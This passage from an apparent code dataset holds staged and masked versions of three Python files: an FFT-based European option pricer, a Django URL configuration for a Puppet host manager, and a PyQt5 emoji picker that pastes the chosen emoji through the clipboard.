'------------------------------------------------------------------' +\n '----------------------------')\n option = European(S0, K, T, 'Put')\n fftPricing = FFTPricing(option, r, volatility, N, B, -alpha)\n print(fftPricing)\n print('FFT price for Put:', fftPricing.optionPrice())\n",
"step-5": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 14 01:32:26 2019\n\n@author: himanshu\n\"\"\"\n\nimport numpy as np\nfrom scipy.interpolate import interp1d\nfrom option import Option\n\nclass FFTPricing:\n \n def __init__(self,\n option : Option,\n riskFreeRate,\n volatility,\n samplePoints,\n bandwidth,\n dampingFactor,\n underlyingModel = 'GBM'):\n \n self.__option = option\n self.__r = riskFreeRate\n self.__sigma = volatility\n self.__N = samplePoints\n self.__B = bandwidth\n self.__alpha = dampingFactor\n self.__model = underlyingModel\n \n \n # Computes the characterstic function of a GBM.\n def __charactersticFunc(self, omega):\n S0 = self.__option.underlyingPrice\n r = self.__r\n T = self.__option.timeToExpiry\n sigma = self.__sigma\n alpha = self.__alpha\n \n if self.__model == 'GBM':\n x0 = np.log(S0)\n mu = x0 + ((r - (sigma**2)/2)*(T))\n sig = (sigma**2)*(T)/2\n omega_prime = omega + 1j*(alpha+1)\n return np.exp(-1j*mu*omega_prime - sig*(omega_prime**2))\n elif self.__model == 'VG':\n pass\n \n # Computes the Fourier Transform of a GBM.\n def __fourierTransform(self, omega):\n alpha = self.__alpha\n r = self.__r\n T = self.__option.timeToExpiry\n \n q_hat = self.__charactersticFunc(omega)\n num = np.exp(-r*(T))*q_hat\n den = (alpha - 1j*omega)*(alpha - (1j*omega) + 1)\n return num/den\n \n def optionPrice(self):\n if not self.__option.expiryType == 'European':\n print('Not a European Option')\n return 0.0\n \n K = self.__option.strikePrice\n \n N = self.__N\n B = self.__B\n alpha = self.__alpha\n \n h = B/(N-1)\n omega = np.arange(0,N)*h\n \n dk = 2*np.pi/(h*N)\n k = np.log(20) + np.arange(0,N)*dk\n \n dw = np.zeros(N)\n dw[0] = h/2\n dw[1:] = h\n \n # FFT Algorithm\n V = np.zeros(N)\n for n in range(N):\n nu_hat = self.__fourierTransform(omega)\n inner_sum = np.sum(np.exp(1j*omega*k[n])*nu_hat*dw)\n V[n] = ((np.exp(-alpha*k[n])/np.pi)*inner_sum).real\n \n val = interp1d(k, V)\n return float('{0:.2f}'.format(val(np.log(K))))\n \n def __repr__(self):\n \n return \"FFTPricing({}, {}, {}, {}, {}, {})\"\\\n .format(self.__option,\n self.__r,\n self.__sigma,\n self.__N,\n self.__B,\n self.__alpha)\n \nif __name__ == \"__main__\":\n from option import European\n S0 = 100\n K = 110\n r = 0.10\n T = 1\n volatility = 0.25\n \n N = 2**10\n B = 50\n alpha = 10.0\n \n print('------------------------------------------------------------------'\n +'----------------------------')\n option = European(S0, K, T, 'Call')\n fftPricing = FFTPricing(option, r, volatility, N, B, alpha)\n print(fftPricing)\n print('FFT price for Call:', fftPricing.optionPrice())\n \n print('------------------------------------------------------------------'\n +'----------------------------')\n option = European(S0, K, T, 'Put')\n fftPricing = FFTPricing(option, r, volatility, N, B, -alpha)\n print(fftPricing)\n print('FFT price for Put:', fftPricing.optionPrice())\n ",
"step-ids": [
5,
6,
7,
8,
9
]
}
|
[
5,
6,
7,
8,
9
] |
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^class/([^/]+)/?$', views.puppet_class, name='puppet-class'),
url(r'^edit-host/(?P<fqdn>[^/]+)?/?$', views.edit_host, name='edit-host'),
url(r'^add-host/(?P<fqdn>[^/]+)?/?$', views.add_host, name='add-host'),
url(r'^delete/([^/]+)/?$', views.delete_host, name='delete-host'),
url(r'^user/(?P<loginid>[^/]+)/?$', views.edit_user, name='edit-user'),
# url(r'^add-host', views.add_host, name='add-host'),
url(r'^', views.index, name='index'),
]
|
normal
|
{
"blob_id": "add56d52f3c88f814a166d12c3bc5a5906268864",
"index": 484,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurlpatterns = [url('^class/([^/]+)/?$', views.puppet_class, name=\n 'puppet-class'), url('^edit-host/(?P<fqdn>[^/]+)?/?$', views.edit_host,\n name='edit-host'), url('^add-host/(?P<fqdn>[^/]+)?/?$', views.add_host,\n name='add-host'), url('^delete/([^/]+)/?$', views.delete_host, name=\n 'delete-host'), url('^user/(?P<loginid>[^/]+)/?$', views.edit_user,\n name='edit-user'), url('^', views.index, name='index')]\n",
"step-3": "from django.conf.urls import url\nfrom . import views\nurlpatterns = [url('^class/([^/]+)/?$', views.puppet_class, name=\n 'puppet-class'), url('^edit-host/(?P<fqdn>[^/]+)?/?$', views.edit_host,\n name='edit-host'), url('^add-host/(?P<fqdn>[^/]+)?/?$', views.add_host,\n name='add-host'), url('^delete/([^/]+)/?$', views.delete_host, name=\n 'delete-host'), url('^user/(?P<loginid>[^/]+)/?$', views.edit_user,\n name='edit-user'), url('^', views.index, name='index')]\n",
"step-4": "from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^class/([^/]+)/?$', views.puppet_class, name='puppet-class'),\n url(r'^edit-host/(?P<fqdn>[^/]+)?/?$', views.edit_host, name='edit-host'),\n url(r'^add-host/(?P<fqdn>[^/]+)?/?$', views.add_host, name='add-host'),\n url(r'^delete/([^/]+)/?$', views.delete_host, name='delete-host'),\n url(r'^user/(?P<loginid>[^/]+)/?$', views.edit_user, name='edit-user'),\n # url(r'^add-host', views.add_host, name='add-host'),\n url(r'^', views.index, name='index'),\n]\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
#!/usr/bin/python
# Copyright (c) 2020 Maryushi3
import emoji_data_python as edp
import sys
import pyautogui
from Xlib import display
from PyQt5.QtWidgets import QApplication, QGridLayout, QLabel, QLineEdit, QScrollArea, QSizePolicy, QStackedLayout, QVBoxLayout, QWidget
from PyQt5.QtCore import QEvent, QSettings, Qt, pyqtSignal
from PyQt5.QtGui import QFont
from PyQt5 import QtTest
# globals
emojiGridLayout = None
mainWindow = None
emojiGridColumnCount = 5
emojiGridRowCount = 4
emojiToShowCount = 0
fullRowsCount = 0
lastRowEmojiCount = 0
emojiFontSize = 20
selectedEmojiPosition = list((0,0))
willExitOnItsOwn = False
selectedEmojiChar=''
settingsFile = None
historyList = []
foundAnyEmoji = True
layoutStack = None
font = QFont()
font.setPointSize(emojiFontSize)
# quits without a lag
def quitNicely():
mainWindow.hide()
quit()
# gets mouse position from Xlib
def mousePosition():
pointerData = display.Display().screen().root.query_pointer()._data
return pointerData["root_x"], pointerData["root_y"]
# copies and pastes selected emoji
def execute_emoji(char):
add_char_to_history(char)
global willExitOnItsOwn
willExitOnItsOwn = True
mainWindow.hide()
QApplication.clipboard().setText(char)
pyautogui.hotkey("ctrl","v")
QtTest.QTest.qWait(250)
quit()
# fills grid with given char list and takes care of layout and counting
def fill_grid_with_char_list(charList):
# for wraparound
global emojiToShowCount
global fullRowsCount
global lastRowEmojiCount
emojiToShowCount = min(len(charList),(emojiGridColumnCount*emojiGridRowCount))
fullRowsCount = emojiToShowCount//emojiGridColumnCount
lastRowEmojiCount = emojiToShowCount%emojiGridColumnCount
global foundAnyEmoji
if emojiToShowCount>0:
foundAnyEmoji = True
layoutStack.setCurrentIndex(0)
else:
foundAnyEmoji = False
layoutStack.setCurrentIndex(1)
# clear grid
global emojiGridLayout
for i in reversed(range(emojiGridLayout.count())):
emojiGridLayout.itemAt(i).widget().setParent(None)
# fill with new chars
rowIdx = 0
colIdx = 0
for emoji in charList:
if rowIdx>emojiGridRowCount-1:
break;
label = QClickableLabel(emoji)
label.clicked.connect(execute_emoji)
label.setFont(font)
label.setAlignment(Qt.AlignCenter)
label.setMinimumHeight(49)
emojiGridLayout.addWidget(label,rowIdx,colIdx)
emojiGridLayout.setAlignment(label,Qt.AlignTop)
if colIdx < emojiGridColumnCount-1:
colIdx+=1
else:
colIdx=0
rowIdx+=1
emojiGridLayout.setContentsMargins(0,0,0,0)
emojiGridLayout.setHorizontalSpacing(0)
emojiGridLayout.setVerticalSpacing(0)
if emojiToShowCount>0:
highlight_emoji([0,0])
# searches for emoji, and passes them to fill_grid_with_char_list
def execute_search(text):
selectedEmoji = (0,0)
if not text or text.isspace():
fill_grid_with_history()
return
foundEmoji = edp.find_by_name(text)
charList = [emoji.char for emoji in foundEmoji]
fill_grid_with_char_list(charList)
# handles what to do after hovering over a given label
def emoji_hovered(hoveredLabel):
parentGrid = hoveredLabel.parentWidget().layout()
hoveredIndex = parentGrid.indexOf(hoveredLabel)
hoveredRow, hoveredColumn, _, _ = parentGrid.getItemPosition(hoveredIndex)
highlight_emoji([hoveredRow,hoveredColumn])
# selects, sets style and handles wraparound
def highlight_emoji(newPosition):
global selectedEmojiPosition
# grid is filled to a full rectangle (last row fills the window horizontally)
if lastRowEmojiCount==0:
if newPosition[0]<0:
newPosition[0]=fullRowsCount-1
elif newPosition[1]<0:
newPosition[1]=emojiGridColumnCount-1
elif newPosition[0]>fullRowsCount-1:
newPosition[0]=0
elif newPosition[1]>emojiGridColumnCount-1:
newPosition[1]=0
# last row is not full
else:
#horizontal wraparound through RIGHT edge for full rows
if (newPosition[0]<fullRowsCount) and (newPosition[1]>emojiGridColumnCount-1):
newPosition[1]=0
#horizontal wraparound through LEFT edge for full rows
elif (newPosition[0]<fullRowsCount) and (newPosition[1]<0):
newPosition[1]=emojiGridColumnCount-1
#horizontal wraparound through right edge for NON FULL rows
elif (newPosition[0]==fullRowsCount) and (newPosition[1]>lastRowEmojiCount-1) and ((selectedEmojiPosition[0]-newPosition[0])==0):
newPosition[1]=0
#horizontal wraparound through LEFT edge for NON FULL rows
elif (newPosition[0]>=fullRowsCount) and (newPosition[1]<0):
newPosition[1]=lastRowEmojiCount-1
#vertical wraparound through BOTTOM edge for full cols
elif (newPosition[0]>fullRowsCount) and (newPosition[1]<lastRowEmojiCount):
newPosition[0]=0
#vertical wraparound through TOP edge for full cols
elif (newPosition[0]<0) and (newPosition[1]<lastRowEmojiCount):
newPosition[0]=fullRowsCount
#vertical wraparound through BOTTOM edge for NON FULL cols
elif (newPosition[0]>fullRowsCount-1) and (newPosition[1]>lastRowEmojiCount-1):
newPosition[0]=0
#vertical wraparound through TOP edge for NON FULL cols
elif (newPosition[0]<0) and (newPosition[1]>lastRowEmojiCount-1):
newPosition[0]=fullRowsCount-1
oldPosition = selectedEmojiPosition
selectedEmojiPosition = newPosition
widgetToDeselect = emojiGridLayout.itemAtPosition(oldPosition[0],oldPosition[1])
if widgetToDeselect:
widgetToDeselect = widgetToDeselect.widget()
widgetToDeselect.setStyleSheet("")
global selectedEmojiChar
widgetToSelect = emojiGridLayout.itemAtPosition(selectedEmojiPosition[0],selectedEmojiPosition[1])
if widgetToSelect:
widgetToSelect = widgetToSelect.widget()
selectedEmojiChar = widgetToSelect.text()
widgetToSelect.setStyleSheet("QLabel{background-color: palette(highlight);}")
# handles direction where to move emoji selection
def move_selection(direction):
if direction=="right":
highlight_emoji([sum(x) for x in zip(selectedEmojiPosition, [0,1])])
elif direction=="left":
highlight_emoji([sum(x) for x in zip(selectedEmojiPosition, [0,-1])])
elif direction=="up":
highlight_emoji([sum(x) for x in zip(selectedEmojiPosition, [-1,0])])
elif direction=="down":
highlight_emoji([sum(x) for x in zip(selectedEmojiPosition, [1,0])])
# handles Esc
def on_key(key):
# test for a specific key
if key == Qt.Key_Escape:
quitNicely()
# adds given emoji to history and saves it to config file
def add_char_to_history(char):
global settingsFile
global historyList
if not historyList:
historyList = [char]
else:
if char in historyList:
historyList.remove(char)
tempList = [char]
tempList.extend(historyList)
historyList = tempList[:(emojiGridColumnCount*emojiGridRowCount)]
settingsFile.setValue('history/history',historyList)
# wrapper around filling the grid
def fill_grid_with_history():
fill_grid_with_char_list(historyList)
# main app window class with inits
class EmojiPickerWindow(QWidget):
def __init__(self):
super().__init__()
# focus handling
self.installEventFilter(self)
self.title = 'Emoji picker ＼(^o^)／'
self.width = 281
self.height = 251
# start with text box centered at mouse pointer position
self.left, self.top = mousePosition()
self.left -= self.width//2
self.top += (24-self.height)
self.initSettings()
self.initUI()
def initUI(self):
# topmost window layout
layout = QVBoxLayout()
global layoutStack
layoutStack = QStackedLayout()
layoutStackWidget = QWidget()
layoutStackWidget.setLayout(layoutStack)
# scroll area setup shenanigans
scrollArea = QScrollArea()
gridWidget = QWidget()
global emojiGridLayout
emojiGridLayout = QGridLayout(gridWidget)
emojiGridLayout.setAlignment(Qt.AlignTop | Qt.AlignLeft)
# stretch grid to widget
for col in range(emojiGridColumnCount):
emojiGridLayout.setColumnStretch(col,1)
for row in range(emojiGridRowCount):
emojiGridLayout.setRowStretch(row,1)
scrollArea.setWidget(gridWidget)
scrollArea.setWidgetResizable(True)
layoutStack.addWidget(scrollArea)
# info to show when no emoji has been found
noEmojiFoundLabel = QLabel("No emoji found 🙁")
noEmojiFoundLabel.setAlignment(Qt.AlignCenter | Qt.AlignHCenter | Qt.AlignVCenter)
layoutStack.addWidget(noEmojiFoundLabel)
layout.addWidget(layoutStackWidget)
# fill with a placeholder for now (smiling or smile)
# execute_search('smil')
fill_grid_with_history()
# bottom text entry
lineEdit = QLineEditWithArrows()
lineEdit.textChanged.connect(execute_search)
layout.addWidget(lineEdit)
# align it to the bottom, so that it won't stay centered vertically
layout.setAlignment(lineEdit, Qt.AlignBottom)
self.setLayout(layout)
self.setWindowTitle(self.title)
self.setGeometry(self.left, self.top, self.width, self.height)
self.setFixedSize(self.width, self.height)
self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)
# needed for filling the grid out from the outside
global mainWindow
mainWindow = self
# esc handling
self.keyPressed.connect(on_key)
self.show()
lineEdit.setFocus()
def initSettings(self):
global settingsFile
global historyList
settingsFile = QSettings("emoji-picker-qtpy", "history");
historyList = settingsFile.value('history/history')
# key handling
keyPressed = pyqtSignal(int)
def keyPressEvent(self, event):
super(EmojiPickerWindow, self).keyPressEvent(event)
self.keyPressed.emit(event.key())
# focus handling
global willExitOnItsOwn
def eventFilter(self, object, event):
if event.type()== QEvent.WindowDeactivate or event.type()== QEvent.FocusOut:
if (not willExitOnItsOwn):
quitNicely()
return False
# clickable label
class QClickableLabel(QLabel):
clicked=pyqtSignal(str)
def __init__(self, parent=None):
QLabel.__init__(self, parent)
def mousePressEvent(self, ev):
self.clicked.emit(self.text())
def enterEvent(self, ev):
emoji_hovered(self)
# keyboard handling override for QlineEdit
class QLineEditWithArrows(QLineEdit):
def keyPressEvent(self, ev):
global selectedEmojiChar
global foundAnyEmoji
if(ev.key() == Qt.Key_Right):
move_selection("right")
if(ev.key() == Qt.Key_Left):
move_selection("left")
if(ev.key() == Qt.Key_Up):
move_selection("up")
if(ev.key() == Qt.Key_Down):
move_selection("down")
if(ev.key() == Qt.Key_Return or ev.key() == Qt.Key_Enter):
if foundAnyEmoji:
execute_emoji(selectedEmojiChar)
else:
quitNicely()
if(ev.key() == Qt.Key_Tab):
pass
else:
QLineEdit.keyPressEvent(self,ev)
if __name__ == '__main__':
app = QApplication(sys.argv)
ex = EmojiPickerWindow()
sys.exit(app.exec_())
|
normal
|
{
"blob_id": "c860c1fa6e7610c60077f0eab1572895a23393fd",
"index": 3725,
"step-1": "<mask token>\n\n\ndef fill_grid_with_char_list(charList):\n global emojiToShowCount\n global fullRowsCount\n global lastRowEmojiCount\n emojiToShowCount = min(len(charList), emojiGridColumnCount *\n emojiGridRowCount)\n fullRowsCount = emojiToShowCount // emojiGridColumnCount\n lastRowEmojiCount = emojiToShowCount % emojiGridColumnCount\n global foundAnyEmoji\n if emojiToShowCount > 0:\n foundAnyEmoji = True\n layoutStack.setCurrentIndex(0)\n else:\n foundAnyEmoji = False\n layoutStack.setCurrentIndex(1)\n global emojiGridLayout\n for i in reversed(range(emojiGridLayout.count())):\n emojiGridLayout.itemAt(i).widget().setParent(None)\n rowIdx = 0\n colIdx = 0\n for emoji in charList:\n if rowIdx > emojiGridRowCount - 1:\n break\n label = QClickableLabel(emoji)\n label.clicked.connect(execute_emoji)\n label.setFont(font)\n label.setAlignment(Qt.AlignCenter)\n label.setMinimumHeight(49)\n emojiGridLayout.addWidget(label, rowIdx, colIdx)\n emojiGridLayout.setAlignment(label, Qt.AlignTop)\n if colIdx < emojiGridColumnCount - 1:\n colIdx += 1\n else:\n colIdx = 0\n rowIdx += 1\n emojiGridLayout.setContentsMargins(0, 0, 0, 0)\n emojiGridLayout.setHorizontalSpacing(0)\n emojiGridLayout.setVerticalSpacing(0)\n if emojiToShowCount > 0:\n highlight_emoji([0, 0])\n\n\n<mask token>\n\n\ndef emoji_hovered(hoveredLabel):\n parentGrid = hoveredLabel.parentWidget().layout()\n hoveredIndex = parentGrid.indexOf(hoveredLabel)\n hoveredRow, hoveredColumn, _, _ = parentGrid.getItemPosition(hoveredIndex)\n highlight_emoji([hoveredRow, hoveredColumn])\n\n\n<mask token>\n\n\ndef on_key(key):\n if key == Qt.Key_Escape:\n quitNicely()\n\n\n<mask token>\n\n\nclass EmojiPickerWindow(QWidget):\n\n def __init__(self):\n super().__init__()\n self.installEventFilter(self)\n self.title = 'Emoji picker ＼(^o^)／'\n self.width = 281\n self.height = 251\n self.left, self.top = mousePosition()\n self.left -= self.width // 2\n self.top += 24 - self.height\n self.initSettings()\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n global layoutStack\n layoutStack = QStackedLayout()\n layoutStackWidget = QWidget()\n layoutStackWidget.setLayout(layoutStack)\n scrollArea = QScrollArea()\n gridWidget = QWidget()\n global emojiGridLayout\n emojiGridLayout = QGridLayout(gridWidget)\n emojiGridLayout.setAlignment(Qt.AlignTop | Qt.AlignLeft)\n for col in range(emojiGridColumnCount):\n emojiGridLayout.setColumnStretch(col, 1)\n for row in range(emojiGridRowCount):\n emojiGridLayout.setRowStretch(row, 1)\n scrollArea.setWidget(gridWidget)\n scrollArea.setWidgetResizable(True)\n layoutStack.addWidget(scrollArea)\n noEmojiFoundLabel = QLabel('No emoji found 🙁')\n noEmojiFoundLabel.setAlignment(Qt.AlignCenter | Qt.AlignHCenter |\n Qt.AlignVCenter)\n layoutStack.addWidget(noEmojiFoundLabel)\n layout.addWidget(layoutStackWidget)\n fill_grid_with_history()\n lineEdit = QLineEditWithArrows()\n lineEdit.textChanged.connect(execute_search)\n layout.addWidget(lineEdit)\n layout.setAlignment(lineEdit, Qt.AlignBottom)\n self.setLayout(layout)\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.setFixedSize(self.width, self.height)\n self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)\n global mainWindow\n mainWindow = self\n self.keyPressed.connect(on_key)\n self.show()\n lineEdit.setFocus()\n\n def initSettings(self):\n global settingsFile\n global historyList\n settingsFile = QSettings('emoji-picker-qtpy', 'history')\n historyList = settingsFile.value('history/history')\n keyPressed = pyqtSignal(int)\n\n def keyPressEvent(self, event):\n super(EmojiPickerWindow, self).keyPressEvent(event)\n self.keyPressed.emit(event.key())\n global willExitOnItsOwn\n\n def eventFilter(self, object, event):\n if event.type() == QEvent.WindowDeactivate or event.type(\n ) == QEvent.FocusOut:\n if not willExitOnItsOwn:\n quitNicely()\n return False\n\n\nclass QClickableLabel(QLabel):\n clicked = pyqtSignal(str)\n\n def __init__(self, parent=None):\n QLabel.__init__(self, parent)\n\n def mousePressEvent(self, ev):\n self.clicked.emit(self.text())\n\n def enterEvent(self, ev):\n emoji_hovered(self)\n\n\nclass QLineEditWithArrows(QLineEdit):\n\n def keyPressEvent(self, ev):\n global selectedEmojiChar\n global foundAnyEmoji\n if ev.key() == Qt.Key_Right:\n move_selection('right')\n if ev.key() == Qt.Key_Left:\n move_selection('left')\n if ev.key() == Qt.Key_Up:\n move_selection('up')\n if ev.key() == Qt.Key_Down:\n move_selection('down')\n if ev.key() == Qt.Key_Return or ev.key() == Qt.Key_Enter:\n if foundAnyEmoji:\n execute_emoji(selectedEmojiChar)\n else:\n quitNicely()\n if ev.key() == Qt.Key_Tab:\n pass\n else:\n QLineEdit.keyPressEvent(self, ev)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef quitNicely():\n mainWindow.hide()\n quit()\n\n\n<mask token>\n\n\ndef fill_grid_with_char_list(charList):\n global emojiToShowCount\n global fullRowsCount\n global lastRowEmojiCount\n emojiToShowCount = min(len(charList), emojiGridColumnCount *\n emojiGridRowCount)\n fullRowsCount = emojiToShowCount // emojiGridColumnCount\n lastRowEmojiCount = emojiToShowCount % emojiGridColumnCount\n global foundAnyEmoji\n if emojiToShowCount > 0:\n foundAnyEmoji = True\n layoutStack.setCurrentIndex(0)\n else:\n foundAnyEmoji = False\n layoutStack.setCurrentIndex(1)\n global emojiGridLayout\n for i in reversed(range(emojiGridLayout.count())):\n emojiGridLayout.itemAt(i).widget().setParent(None)\n rowIdx = 0\n colIdx = 0\n for emoji in charList:\n if rowIdx > emojiGridRowCount - 1:\n break\n label = QClickableLabel(emoji)\n label.clicked.connect(execute_emoji)\n label.setFont(font)\n label.setAlignment(Qt.AlignCenter)\n label.setMinimumHeight(49)\n emojiGridLayout.addWidget(label, rowIdx, colIdx)\n emojiGridLayout.setAlignment(label, Qt.AlignTop)\n if colIdx < emojiGridColumnCount - 1:\n colIdx += 1\n else:\n colIdx = 0\n rowIdx += 1\n emojiGridLayout.setContentsMargins(0, 0, 0, 0)\n emojiGridLayout.setHorizontalSpacing(0)\n emojiGridLayout.setVerticalSpacing(0)\n if emojiToShowCount > 0:\n highlight_emoji([0, 0])\n\n\ndef execute_search(text):\n selectedEmoji = 0, 0\n if not text or text.isspace():\n fill_grid_with_history()\n return\n foundEmoji = edp.find_by_name(text)\n charList = [emoji.char for emoji in foundEmoji]\n fill_grid_with_char_list(charList)\n\n\ndef emoji_hovered(hoveredLabel):\n parentGrid = hoveredLabel.parentWidget().layout()\n hoveredIndex = parentGrid.indexOf(hoveredLabel)\n hoveredRow, hoveredColumn, _, _ = parentGrid.getItemPosition(hoveredIndex)\n highlight_emoji([hoveredRow, hoveredColumn])\n\n\n<mask token>\n\n\ndef on_key(key):\n if key == Qt.Key_Escape:\n quitNicely()\n\n\n<mask token>\n\n\nclass EmojiPickerWindow(QWidget):\n\n def __init__(self):\n super().__init__()\n self.installEventFilter(self)\n self.title = 'Emoji picker ＼(^o^)／'\n self.width = 281\n self.height = 251\n self.left, self.top = mousePosition()\n self.left -= self.width // 2\n self.top += 24 - self.height\n self.initSettings()\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n global layoutStack\n layoutStack = QStackedLayout()\n layoutStackWidget = QWidget()\n layoutStackWidget.setLayout(layoutStack)\n scrollArea = QScrollArea()\n gridWidget = QWidget()\n global emojiGridLayout\n emojiGridLayout = QGridLayout(gridWidget)\n emojiGridLayout.setAlignment(Qt.AlignTop | Qt.AlignLeft)\n for col in range(emojiGridColumnCount):\n emojiGridLayout.setColumnStretch(col, 1)\n for row in range(emojiGridRowCount):\n emojiGridLayout.setRowStretch(row, 1)\n scrollArea.setWidget(gridWidget)\n scrollArea.setWidgetResizable(True)\n layoutStack.addWidget(scrollArea)\n noEmojiFoundLabel = QLabel('No emoji found 🙁')\n noEmojiFoundLabel.setAlignment(Qt.AlignCenter | Qt.AlignHCenter |\n Qt.AlignVCenter)\n layoutStack.addWidget(noEmojiFoundLabel)\n layout.addWidget(layoutStackWidget)\n fill_grid_with_history()\n lineEdit = QLineEditWithArrows()\n lineEdit.textChanged.connect(execute_search)\n layout.addWidget(lineEdit)\n layout.setAlignment(lineEdit, Qt.AlignBottom)\n self.setLayout(layout)\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.setFixedSize(self.width, self.height)\n self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)\n global mainWindow\n mainWindow = self\n self.keyPressed.connect(on_key)\n self.show()\n lineEdit.setFocus()\n\n def initSettings(self):\n global settingsFile\n global historyList\n settingsFile = QSettings('emoji-picker-qtpy', 'history')\n historyList = settingsFile.value('history/history')\n keyPressed = pyqtSignal(int)\n\n def keyPressEvent(self, event):\n super(EmojiPickerWindow, self).keyPressEvent(event)\n self.keyPressed.emit(event.key())\n global willExitOnItsOwn\n\n def eventFilter(self, object, event):\n if event.type() == QEvent.WindowDeactivate or event.type(\n ) == QEvent.FocusOut:\n if not willExitOnItsOwn:\n quitNicely()\n return False\n\n\nclass QClickableLabel(QLabel):\n clicked = pyqtSignal(str)\n\n def __init__(self, parent=None):\n QLabel.__init__(self, parent)\n\n def mousePressEvent(self, ev):\n self.clicked.emit(self.text())\n\n def enterEvent(self, ev):\n emoji_hovered(self)\n\n\nclass QLineEditWithArrows(QLineEdit):\n\n def keyPressEvent(self, ev):\n global selectedEmojiChar\n global foundAnyEmoji\n if ev.key() == Qt.Key_Right:\n move_selection('right')\n if ev.key() == Qt.Key_Left:\n move_selection('left')\n if ev.key() == Qt.Key_Up:\n move_selection('up')\n if ev.key() == Qt.Key_Down:\n move_selection('down')\n if ev.key() == Qt.Key_Return or ev.key() == Qt.Key_Enter:\n if foundAnyEmoji:\n execute_emoji(selectedEmojiChar)\n else:\n quitNicely()\n if ev.key() == Qt.Key_Tab:\n pass\n else:\n QLineEdit.keyPressEvent(self, ev)\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef quitNicely():\n mainWindow.hide()\n quit()\n\n\n<mask token>\n\n\ndef fill_grid_with_char_list(charList):\n global emojiToShowCount\n global fullRowsCount\n global lastRowEmojiCount\n emojiToShowCount = min(len(charList), emojiGridColumnCount *\n emojiGridRowCount)\n fullRowsCount = emojiToShowCount // emojiGridColumnCount\n lastRowEmojiCount = emojiToShowCount % emojiGridColumnCount\n global foundAnyEmoji\n if emojiToShowCount > 0:\n foundAnyEmoji = True\n layoutStack.setCurrentIndex(0)\n else:\n foundAnyEmoji = False\n layoutStack.setCurrentIndex(1)\n global emojiGridLayout\n for i in reversed(range(emojiGridLayout.count())):\n emojiGridLayout.itemAt(i).widget().setParent(None)\n rowIdx = 0\n colIdx = 0\n for emoji in charList:\n if rowIdx > emojiGridRowCount - 1:\n break\n label = QClickableLabel(emoji)\n label.clicked.connect(execute_emoji)\n label.setFont(font)\n label.setAlignment(Qt.AlignCenter)\n label.setMinimumHeight(49)\n emojiGridLayout.addWidget(label, rowIdx, colIdx)\n emojiGridLayout.setAlignment(label, Qt.AlignTop)\n if colIdx < emojiGridColumnCount - 1:\n colIdx += 1\n else:\n colIdx = 0\n rowIdx += 1\n emojiGridLayout.setContentsMargins(0, 0, 0, 0)\n emojiGridLayout.setHorizontalSpacing(0)\n emojiGridLayout.setVerticalSpacing(0)\n if emojiToShowCount > 0:\n highlight_emoji([0, 0])\n\n\ndef execute_search(text):\n selectedEmoji = 0, 0\n if not text or text.isspace():\n fill_grid_with_history()\n return\n foundEmoji = edp.find_by_name(text)\n charList = [emoji.char for emoji in foundEmoji]\n fill_grid_with_char_list(charList)\n\n\ndef emoji_hovered(hoveredLabel):\n parentGrid = hoveredLabel.parentWidget().layout()\n hoveredIndex = parentGrid.indexOf(hoveredLabel)\n hoveredRow, hoveredColumn, _, _ = parentGrid.getItemPosition(hoveredIndex)\n highlight_emoji([hoveredRow, hoveredColumn])\n\n\ndef highlight_emoji(newPosition):\n global selectedEmojiPosition\n if lastRowEmojiCount == 0:\n if newPosition[0] < 0:\n newPosition[0] = fullRowsCount - 1\n elif newPosition[1] < 0:\n newPosition[1] = emojiGridColumnCount - 1\n elif newPosition[0] > fullRowsCount - 1:\n newPosition[0] = 0\n elif newPosition[1] > emojiGridColumnCount - 1:\n newPosition[1] = 0\n elif newPosition[0] < fullRowsCount and newPosition[1\n ] > emojiGridColumnCount - 1:\n newPosition[1] = 0\n elif newPosition[0] < fullRowsCount and newPosition[1] < 0:\n newPosition[1] = emojiGridColumnCount - 1\n elif newPosition[0] == fullRowsCount and newPosition[1\n ] > lastRowEmojiCount - 1 and selectedEmojiPosition[0] - newPosition[0\n ] == 0:\n newPosition[1] = 0\n elif newPosition[0] >= fullRowsCount and newPosition[1] < 0:\n newPosition[1] = lastRowEmojiCount - 1\n elif newPosition[0] > fullRowsCount and newPosition[1] < lastRowEmojiCount:\n newPosition[0] = 0\n elif newPosition[0] < 0 and newPosition[1] < lastRowEmojiCount:\n newPosition[0] = fullRowsCount\n elif newPosition[0] > fullRowsCount - 1 and newPosition[1\n ] > lastRowEmojiCount - 1:\n newPosition[0] = 0\n elif newPosition[0] < 0 and newPosition[1] > lastRowEmojiCount - 1:\n newPosition[0] = fullRowsCount - 1\n oldPosition = selectedEmojiPosition\n selectedEmojiPosition = newPosition\n widgetToDeselect = emojiGridLayout.itemAtPosition(oldPosition[0],\n oldPosition[1])\n if widgetToDeselect:\n widgetToDeselect = widgetToDeselect.widget()\n widgetToDeselect.setStyleSheet('')\n global selectedEmojiChar\n widgetToSelect = emojiGridLayout.itemAtPosition(selectedEmojiPosition[0\n ], selectedEmojiPosition[1])\n if widgetToSelect:\n widgetToSelect = widgetToSelect.widget()\n selectedEmojiChar = widgetToSelect.text()\n widgetToSelect.setStyleSheet(\n 'QLabel{background-color: palette(highlight);}')\n\n\n<mask token>\n\n\ndef on_key(key):\n if key == Qt.Key_Escape:\n quitNicely()\n\n\n<mask token>\n\n\ndef fill_grid_with_history():\n fill_grid_with_char_list(historyList)\n\n\nclass EmojiPickerWindow(QWidget):\n\n def __init__(self):\n super().__init__()\n self.installEventFilter(self)\n self.title = 'Emoji picker ＼(^o^)／'\n self.width = 281\n self.height = 251\n self.left, self.top = mousePosition()\n self.left -= self.width // 2\n self.top += 24 - self.height\n self.initSettings()\n self.initUI()\n\n def initUI(self):\n layout = 